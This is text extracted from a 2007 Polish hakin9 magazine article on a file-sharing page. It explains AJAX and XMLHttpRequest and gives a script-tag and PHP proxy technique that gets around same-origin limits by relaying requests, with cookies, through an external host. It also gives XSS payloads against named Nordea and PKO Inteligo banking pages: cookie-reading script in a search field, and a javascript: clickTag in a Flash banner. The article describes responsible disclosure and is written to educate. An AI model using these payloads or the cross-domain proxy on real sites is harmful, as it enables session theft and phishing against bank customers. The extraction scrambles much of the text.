Opis luk w serwisach bankowych Nordea i PKO.pdf
(
1204 KB
)
Pobierz
2581815 UNPDF
Atak
Opis luk w serwisach
banków Nordea i PKO
Inteligo oraz historia
Michał Majchrowicz
stopień trudności
włamań do Telewizji
Polskiej, Urzędu Miasta
Łodzi, Głównego
Inspektoratu Ochrony
Środowiska i Ministerstwa
Środowiska
Od kilku lat mamy do czynienia ze znaczącym rozwojem
technologii internetowych. Obecnie przeglądarka staje się
uniwersalnym narzędziem do poruszania się po sieci.
FTP, ale umożliwia też korzystanie z IRC
oraz może służyć (za pomocą np. rozsze-
rzeń) jako platforma do gier internetowych. Nie-
stety, rozwój taki ma miejsce również po drugiej
stronie barykady i nowe funkcjonalności często
bywają wykorzystywane przeciwko użytkowni-
kom i administratorom.
niu guzika
usuń
. Po drugie wprowadzono rewo-
lucyjny interfejs. To właśnie w nim po raz pierw-
szy pokazano, jak użyteczny na szeroką ska-
lę może być jeden mały obiekt – XMLHttpRe-
quest. Tak właśnie rozpoczęła się era techno-
logii AJAX.
AJAX (ang.
Asynchronous JavaScript and
XML
), asynchroniczny JavaScript i XML – nie
jest technologią samą w sobie, lecz terminem
określającym nowe podejście do wykorzysta-
nia dotychczasowych technologii w połączeniu,
wliczając w to: HTML lub XHTML, kaskadowe
arkusze stylów, JavaScript, obiektowy model
dokumentu, XML, XSLT oraz XMLHttpRequ-
est. Kiedy te technologie zostaną wykorzysta-
ne razem w ramach modelu AJAX, aplikacje
sieciowe będą w stanie dokonywać szybkich,
Każdy kij ma dwa końce
– XMLHttpRequest
Mniej więcej trzy lata temu (1 kwietnia 2004)
świat obiegła informacja o stworzeniu przez
Google serwisu webmail – Gmail. Na począt-
ku potraktowano to jako primaaprilisowy żart.
Pojawiły się nawet sugestie, iż irma niedługo
przeprowadzi ekspedycję na księżyc. Oczy-
wiście tego typu komentarze szybko ustąpiły
miejsca rzeczowym ocenom projektu, a Gma-
il stał się jednym z najczęściej używanych ser-
wisów webmail na świecie. Można się doszu-
kiwać dwóch przyczyn jego popularności.
Przede wszystkim, po raz pierwszy w historii,
użytkownicy nie musieli już kasować swoich e
– maili. Mieli początkowo do dyspozycji 1 GB
miejsca na korespondencję (obecnie 2.8 GB),
co pozwalało praktycznie zapomnieć o istnie-
Z artykułu dowiesz się..
• jak obejść ograniczenia XMLHttpRequest
• co to są błędy Blind SQL Injection
Powinieneś wiedzieć...
• znać podstawy technologii AJAX i języka SQL
2
hakin9 Nr 5/2007
www.hakin9.org
J
est ona nie tylko klientem HTTP, HTTPS i
Hakowanie popularnych serwisów internetowych
przyrostowych aktualizacji w interfej-
sie użytkownika bez potrzeby prze-
ładowywania całej strony w przeglą-
darce. To sprawia, że aplikacja wy-
daje się być szybsza i lepiej reagu-
je na akcje użytkownika. Jak widzi-
my, kluczem do technologi AJAX jest
obiekt XMLHttpRequest. Nie jest to,
jak można by sądzić, jakaś magiczna
skrzynka, dzięki której strony nagle
wyglądają ładniej. Zatem cóż to ta-
kiego? XMLHttpRequest (XHR) jest
zbiorem programistycznych interfej-
sów aplikacyjnych, które mogą być
używane przez JavaScript, JScript,
VBScript oraz inne języki skryptowe
przeglądarek internetowych do prze-
kazywania XML lub innych danych
do oraz z serwera internetowego,
używając protokołu HTTP. XMLHt-
tpRequest było pierwotnie stworzo-
ne przez Microsoft, jako część usłu-
gi OWA (
Outlook Web Access
) 2000.
Implementacja Microsoftu nazy-
wa się XMLHTTP. Wykorzystywana
jest w Internet Explorerze, poczyna-
jąc od wersji 5.0 i jest dostępna po-
przez JScript, VBScript i inne języ-
ki skryptowe obsługiwane przez IE.
Pierwsza natywna implementacja
XMLHttpRequest została włączo-
na przez Mozillę do Mozilla Appli-
cation Suite 1.0 w 2002 roku. Imple-
mentacja ta była potem obsługiwa-
na przez Apple w Safari 1.2, Konqu-
eror, Opera Software (od Opery 8.0)
i iCab (od wersji 3.0b352). Konsor-
cjum World Wide Web opublikowa-
ło szkic (
Working Draft
) specyika-
cji obiektu XMLHttpRequest 5 Kwiet-
nia 2006 roku. Jest ona ciągle opra-
cowywana, a jej cel polega na tym,
by dokumentować minimalny zestaw
wspólnych cech istniejących imple-
mentacji, umożliwiając tworzenie ko-
du bez oddzielnych bloków tekstu dla
różnych platform. Szkicowa specyi-
kacja jest bazowana na implementa-
cjach popularnych przeglądarek, aby
zapewnić przenośność kodu. Dzięki
tej garści wiadomości łatwo można
zrozumieć rolę, jaką odegrała irma
Google w rozwoju technologii AJAX.
Mimo że obiekt XMLHttpRequest był
już obsługiwany przez przeglądar-
ki z rodziny Gecko i Internet Explo-
rera, to programiści Opery cały czas
zwlekali z jego implementacją. Po-
wód był prosty, a ta historia przypo-
mina dzieje CSS. Chociaż były one
dostępne, przez długi czas przeglą-
darki ich nie obsługiwały. Zmieniło
się to w chwili, gdy użytkownicy in-
ternetu zaczęli zmieniać przeglądar-
ki (sam przesiadłem się z Opery na
Mozilla Firefox), by móc korzystać z
serwisów wymagających technologii
AJAX. Gdy otrzymałem zaproszenie
do Gmaila, był to jeszcze projekt za-
mknięty. Dostęp do niego mieli jedy-
nie ci użytkownicy, którzy zarejestro-
wali się pierwszego dnia. W tym mo-
mencie uzyskali oni możliwość wy-
słania zaproszeń, przy czym jedynie
do trzech osób i na pewnych warun-
kach. Miałem szczęście otrzymać
jedno z nich. Pamiętam jaki byłem
zaskoczony, zawiedziony i wściekły,
gdy przy pierwszej próbie logowania
do Gmaila dowiedziałem się, że nie
mogę z niego korzystać,ponieważ
moja przeglądarka nie jest z nim w
pełni kompatybilna.
Listing 1.
Przykładowa strona internetowa
<?xml version="1.0" encoding="iso-8859-2"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-PL">
<head>
<meta http-equiv="Content-type" content="text/html;
charset=iso-8859-2" />
<meta http-equiv="Content-Language" content="pl" />
<title> My test page 1</title>
<script src="http://sectroyer.110mb.com/normal.js"
type="text/javascript"></script>
<script src="http://sectroyer.110mb.com/myxmlhttprequest.js"
type="text/javascript"></script>
</head>
<body>
<div style="color: green; text-align: center;">My test 1</
div>
<p>
<a href="http://validator.w3.org/
check?uri=referer"><img
src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" /></a>
</p>
<script src="http://sectroyer.110mb.com/abnormal.js"
type="text/javascript"></script>
</body>
</html>
Listing 2.
Plik normal.js
if
(window.XMLHttpRequest)
req
=
new
XMLHttpRequest()
;
else
req
=
new
ActiveXObject(
"Microsoft.XMLHTTP"
)
;
function
callback
()
{
if
(req.readyState
==
4
)
{
alert
(req.responseText)
;
}
}
req.onreadystatechange
=
callback
;
req.
open
(
"GET"
,
"/"
,true)
;
req.send(null)
;
www.hakin9.org
hakin9 Nr 5/2007
3
Atak
Spójrzmy jednak na ten obiekt
ze strony atakującego. Dotychczas
możliwości ataku za pomocą kodu
JavaScript były ograniczone. Moż-
na było jedynie przekazywać nie-
które parametry do witryny poprzez
GET (np. ładując obiekt IMG). Agre-
sor nie miał też żadnej możliwo-
ści pobierania wyniku swojej opera-
cji. Innymi słowy, korzystając z luki
XSS w jakimś serwisie pocztowym
mógł on jedynie pobrać dane znajdu-
jące się w
ciasteczkach
i treści stro-
ny, ale wykonanie np. zapytania
in-
dex.php?action=pokaz_dane
i uzy-
skanie jego rezultatów było poza je-
go zasięgiem. Korzystanie z XMLHt-
tpRequest takie ograniczenia likwi-
duje. Hacker może wykonać wiele
operacji i użytkownik nie będzie na-
wet o tym wiedział. Atakujący ma
możliwość zarówno przetwarzania
wyników zapytań GET, jak i POST.
Ta
broń
jest już teraz aktywnie wy-
korzystywana w realnym świecie.
Programiści przeglądarek interne-
towych postanowili ograniczyć pole
ataku, nakładając na XMLHttpRequ-
est restrykcje. W Mozilla Firefox i In-
ternet Explorer 7 obiekt ten nie może
wykonywać zapytań do różnych do-
men, czyli na przykład kod wykony-
wany na stronie
server.com
nie ma
prawa wysłać do (lub pobrać danych
ze) strony
server2.com.
Po dłuższej
analizie tego zagadnienia dosze-
dłem do wniosku, iż takie ogranicze-
nie jedynie utrudnia życie programi-
stom, a nie potencjalnym napastni-
kom. Wyniki badań możemy zoba-
czyć na Listingu 1.
Na tej stronie ładowane są trzy
pliki JavaScript: normal – korzysta-
jący z obiektu XMLHttpRequest,
myxmlhttprequest – deinicja moje-
go obiektu zapewniającego podob-
ną funkcjonalność oraz abnormal.js
– plik wykorzystujący stworzoną
przeze mnie implementację. Pliki te
można zobaczyć na Listingu 2.
Struktura obiektu MyXMLHttpRe-
quest w stosunku do XMLHttpRequ-
est różni się w dwóch punktach: po
pierwsze odpowiedź jest przekazy-
wana jako parametr funkcji, a nie
zmienna wewnątrz klasy; po drugie
można wykonywać jedynie zapyta-
nia asynchroniczne. A efekt działa-
nia kodu możemy zobaczyć na Ry-
sunku 1.
Należy jeszcze wspomnieć o
tym, iż obiekt może zostać urucho-
miony jedynie w obrębie body. Ko-
rzysta on również ze specjalnego
pliku PHP. Jego przykładowa imple-
mentacja zamieszczona została na
Listingu 5.
Listing 3.
Plik myxmlhttprequest.js
var
mysubglobalcallback
=
0
;
function
myglobalcallback
(myanswer)
{
mysubglobalcallback(
unescape
(myanswer))
;
}
function
mysend
(params)
{
mysubtmp
=
document.createElement(
'script'
)
;
mysubglobalcallback
=
this
.onreadystatechange
;
if
(
this
.method
==
"GET"
)
mysubtmp.src
=
"http://sectroyer.110mb.com/myhttp.php?u
rl="
+
escape
(
this
.url)+
"&method=get"
;
else
if
(
this
.method
==
"POST"
)
mysubtmp.src
=
"http://sectroyer.110mb.com/myhttp.php
?url="
+
escape
(
this
.url)+
"&method=post&vars="
+
escape
(p
arams)
;
document.body.appendChild(mysubtmp)
;
this
.readyState
=
4
;
}
//we only can do asynchronous requests
function
myset
(mymethod,myurl,asynch)
{
this
.method
=
mymethod
;
this
.url
=
myurl
;
}
function
MyXMLHttpRequest
()
{
this
.method
=
0
;
this
.url
=
0
;
this
.readyState
=
0
;
this
.responseText
=
0
;
this
.sync
=
0
;
this
.onreadystatechange
=
0
;
this
.
open
=
myset
;
this
.send
=
mysend
;
}
Listing 4.
Plik abnormal.js
var
req
=
new
MyXMLHttpRequest()
;
function
callback
(responseText)
{
if
(req.readyState
==
4
)
{
alert
(responseText)
;
}
}
req.onreadystatechange
=
callback
;
req.
open
(
"GET"
,
"http://www.google.com/"
,true)
;
req.send(null)
;
req.
open
(
"POST"
,
"http://hroch486.icpf.cas.cz/cgi-bin/echo.pl"
,true)
;
req.send(
"your_name=test_name"
)
;
Przykładowe cele ataku
– Nordea i PKO Inteligo
Do tej pory w artykule opisałem jedy-
nie teoretyczną sytuację. Nie dałem
jednak żadnego przykładu wykorzy-
4
hakin9 Nr 5/2007
www.hakin9.org
Hakowanie popularnych serwisów internetowych
stania przedstawionych przeze mnie
technik w praktyce. Aby zobrazować
potencjalne zagrożenie, posłużę się
opisami błędów w dwóch serwisach
internetowych – Nordea i PKO Inte-
ligo. Po przeanalizowaniu zabezpie-
czeń Banku Nordea udało mi się wy-
kryć kilka błędów. Ponieważ nie po-
siadam konta w tym banku, nie by-
łem w stanie dokładnie ocenić po-
tencjalnego niebezpieczeństwa, wy-
nikającego z wykorzystania tych luk.
Skorzystałem więc ze znajdującego
się na stronie
www.nordea.pl
formu-
larza, w celu, choćby częściowego
uzupełnienia mojej wiedzy i poinfor-
mowania o zaistniałej sytuacji. Szcze-
rze powiedziawszy, jak to często się
zdarza, nie spodziewałem się żadnej
reakcji. Dużym zaskoczeniem oka-
zała się dla mnie bardzo szybka od-
powiedź pracowników banku. Doszło
między nami do wielokrotnej wymiany
e-maili oraz kilku rozmów telefonicz-
nych. Poproszono mnie o przedsta-
wienie szczegółów dotyczących mo-
ich badań. Udzielono mi również do-
kładnych informacji na temat natury
wykrytych przeze mnie błędów. Jak
się okazało, część z nich wynikała z
pomyłki producenta oprogramowania
serwera www, a nie samego serwisu.
Dowiedziałem się również, iż całość
skryptów została sprawdzona pod ką-
tem zgłoszonych błędów. Po zakoń-
czeniu wszystkich prac poproszono
mnie o ponowne przyjrzenie się ser-
wisowi. Tym razem nie udało mi się
znaleźć żadnej podatności na ataki ty-
pu XSS. Cieszy mnie, iż Bank Nordea
podszedł do sprawy tak poważnie i to
zanim doszło do jakiegokolwiek szu-
mu medialnego. Ta pozytywna reak-
cja powinna być przykładem dla in-
nych instytucji. Najczęściej informacje
o lukach są albo ignorowane, albo do-
chodzi do tzw.
cichego łatania
luk za-
nim jakakolwiek wiadomość o nich do-
trze do opinii publicznej. Teraz chciał-
bym opisać szczegóły owych błędów.
Pierwsza wykryta przeze mnie luka
znajdowała się w części informacyj-
nej pod adresem
www.nordea.pl
w
polu szukaj:
http://www.nordea.pl/pl/search/
?query=jasio <script>alert(docume
nt.cookie);</script>
Udało się dzię-
ki niej doprowadzić do JavaScript
Injection, przedstawione na Rysun-
ku 2 i 3.
Możliwe było również doprowa-
dzenie do pełnego XSS.
Serwis wewnętrzny znaj-
duje się pod adresem
https:
//www.nordeasolo.pl
. Tutaj nie by-
ło już tak łatwo. Dane przekazy-
wane do serwera są odpowied-
nio iltrowane, a część stron jest po
prostu statyczna. Niestety, głów-
ny skrypt umożliwia przekiero-
wania na inną podstronę:
https:
Rysunek 1.
Efekt działania obiektu MyXMLHttpRequest
Rysunek 2.
Cookie zdobyte na stronie głównej.
Listing 5.
Plik myhttp.php
<?
php
if
(
isset
(
$_GET
[
'url'
])
==true
)
{
$curl
=curl_init
()
;
curl_setopt
(
$curl
,CURLOPT_COOKIE,
$_GET
[
'cookie'
])
;
curl_setopt
(
$curl
,CURLOPT_URL,rawurldecode
(
$_
GET
[
'url'
]))
;
curl_setopt
(
$curl
,CURLOPT_RETURNTRANSFER,1
)
;
if
((
$_GET
[
'method'
]
==
"post"
)
&&
(
isset
(
$_
GET
[
'vars'
])
==true
))
{
$vars
=rawurldecode
(
$_GET
[
'vars'
])
;
curl_setopt
(
$curl
,CURLOPT_
POSTFIELDS,
$vars
)
;
}
$tmp
=curl_exec
(
$curl
)
;
curl_close
(
$curl
)
;
echo
"myglobalcallback(
\"
"
.rawurlencode
(
$tmp
)
.
"
\"
);"
;
}
?>
www.hakin9.org
hakin9 Nr 5/2007
5
Atak
//www.nordeasolo.pl/solo/www?dest=/
html/applications.jsp&lang=pl
Jeśli w
treści parametru dest podamy nie ist-
niejący plik, to zostanie wyświetlony
komunikat o błędzie. Zawiera on w
swej treści wartość tego parametru,
która nie jest w żaden sposób oczysz-
czana. W efekcie możemy bezproble-
mowo doprowadzić do XSS, jak na
Rysunku 5.
Błędy, jakie wychwyciłem w
PKO, również nie były łatwe do wy-
krycia. Zacznijmy od serwisu infor-
macyjnego banku, znajdującego się
pod adresem
www.pkobp.pl.
Oczy-
wiście pierwsze swoje kroki skiero-
wałem do pola
szukaj
. Udało mi się
tutaj wydostać z cudzysłowów, jed-
nakże niemożność użycia niektó-
rych znaków nie pozwoliła mi na Ja-
vaScript Injection.
Po dłuższej analizie odkryłem,
iż graiki Flash nie są poprawnie za-
bezpieczane. Po kliknięciu na rekla-
mę użytkownik zostaje przekierowa-
ny na wartość zmiennej
clickTag
.
Możemy na przykład wpleść w treść
naszej strony taki odnośnik:
http://
www.pkobp.pl/images/banners/bdm_
nagroda_150x100_1.swf?clickTag=ja-
vascript:alert
(„Hacked”). Ogranicza
nas tylko nasza fantazja, przykład
przejęcia cookie i zmiany treści strony
możemy zobaczyć na Rysunku 7.
Błąd ten może zostać wykorzy-
stany do phishingu. Nie pozwala jed-
nak na zdobycie żadnych przydat-
nych danych, chyba że atakujący
jest w stanie nakłonić internautę do
użycia guzika
logowanie
w celu zalo-
gowania się do części wewnętrznej
serwisu. Następnie przeanalizowa-
łem serwis Inteligo - internetową ga-
łąź PKO BP. Można by się spodzie-
wać, że tak wielka instytucja w od-
powiednim stopniu zadba o bezpie-
czeństwo swoich klientów. I faktycz-
nie, trzeba przyznać, że bezpieczeń-
stwo serwisu jest wyższe niż w przy-
padku wielu innych polskich banków.
Niestety obie strony (
www.pkobp.pl
i
www.pkointeligo.pl
) były pisane bez
globalnego myślenia. Innymi słowy
wygląda to tak, że jedna osoba do-
dała jakąś funkcjonalność do serwi-
su, a następnie ją poprawnie zabez-
pieczyła. Po jakimś czasie drugi pro-
gramista wykorzystał ją w innej czę-
ści strony, nie zadbał jednak odpo-
wiednio o sprawy bezpieczeństwa.
W efekcie udało mi się wykryć lu-
kę pozwalają na JavaScript Injec-
tion oraz XSS. Analizy luki dokona-
łem wspólnie z Panem Mateuszem
Stępniem z portalu
Hack.pl.
Błąd
znajduje się w dwóch najważniej-
szych skryptach: short_ssk - odpo-
wiedzialnego za składanie wniosków
kredytowych oraz ikd, który zajmuje
się obsługą całej bankowości inter-
netowej, wykonywania przelewów,
sprawdzania stanu konta, dokony-
wania ustawień. Ponieważ Inteligo,
Rysunek 3.
Kod wyświetlający cookie.
Rysunek 4.
Kod powodujący XSS na stronie głównej.
Rysunek 5.
Luka XSS w serwisie https://www.nordeasolo.pl
6
hakin9 Nr 5/2007
www.hakin9.org
Plik z chomika:
damianek313
Inne pliki z tego folderu:
zmiana i format napisow do filmow bez znakow polskich.rar
(805 KB)
PDFCreator-0_9_9.exe
(17261 KB)
FCTBSetup.exe
(10723 KB)
vidcrop.exe
(16972 KB)
Free_3D_Photo_Maker_2.0.6_Portable.rar
(21743 KB)
Inne foldery tego chomika:
- far cry 3 ! Far Cry 3 {PC}
- AutoMapa Europa 6.12 1302 FINAŁ 25-03-2013 (w jednym pliku)
(1)
(2)
▣ medal of honor Medal of Honor Warfighter (2012) FLT PL
Zgłoś jeśli
naruszono regulamin